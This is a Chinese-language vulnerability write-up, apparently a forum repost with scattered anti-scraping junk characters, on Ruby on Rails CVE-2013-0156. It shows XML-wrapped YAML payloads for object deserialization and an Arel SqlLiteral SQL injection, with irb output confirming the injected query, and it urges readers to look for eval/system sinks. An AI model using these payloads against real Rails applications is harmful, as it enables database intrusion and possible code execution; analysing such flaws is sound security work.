Author: wofeiwo#80sec.com
3 R9 M! t2 z4 k5 Q4 a) m# B! ]' w# V8 n% D6 ?% h) \! W
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 ) {. O5 U+ O4 {4 i1 ^
( Q" K! Y c2 a$ o; t5 }% }1 t近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
7 [7 E4 A7 C! a* p) Q: H! m2 _& E9 a3 j# S2 |8 ]
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. 0 o# O3 P- G8 n" B1 q# g8 }4 O
3 I7 h- i: e& c0 M# ~6 o为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
2 ?; K0 c- l$ l% K2 H ?' r3 a% K6 n
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
& m3 @6 j4 e: w4 E( j. B
/ }; V7 H7 a j"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
( Q/ _' W3 l8 P2 J& }9 Y- i) t, }
; {, I$ q8 n- @( i2 b: I% j1 q说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
* q* T. k9 p( g# L( G L5 m
; e' f3 ~( E- S1 @+ E然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
( |9 h. K K$ L" ?; a1 B6 M5 q+ N( s5 g: R1 Z
但是等等,还有另一个参数类型,yaml。 2 N+ f) n- n! u
: H1 a1 g0 M$ s8 C- v3 Kyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 ) G1 d; y+ u5 O3 S; x
2 t! _5 c! P0 Y8 S: d T<test type="yaml">--- !ruby/object:A! T. Q5 {0 p: n& g' e' @0 |/ g
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 ) P$ ^9 `' [1 E# l9 Z3 }1 ?% j
! r. F6 D8 Q$ Y如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 ! B! E5 p$ ?, }6 U
6 c( R9 l+ {" e$ a2 }# E% A0 C如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 % }: C/ |& X- O) w4 y; M- L) e
6 o; ?4 N+ {2 g8 l; n+ U& q
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
, a& Q- h+ i; @: z! P5 z
2 I9 O8 I! r# ^model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
& l5 m O# O& A
) o& D# \% Z3 y% a' H7 f<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
. u, Y3 A, ?$ ^9 m( }, A1 v1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
% I+ s7 R6 ]& ^% C5 ~9 Q( ^$ Z+ A
; s5 _$ a+ H4 G; b h4 H" Z+ G1 uirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
( B0 r2 a# s% _) i: E* L- B$ i$ {1 C! u6 k7 O3 G; x
|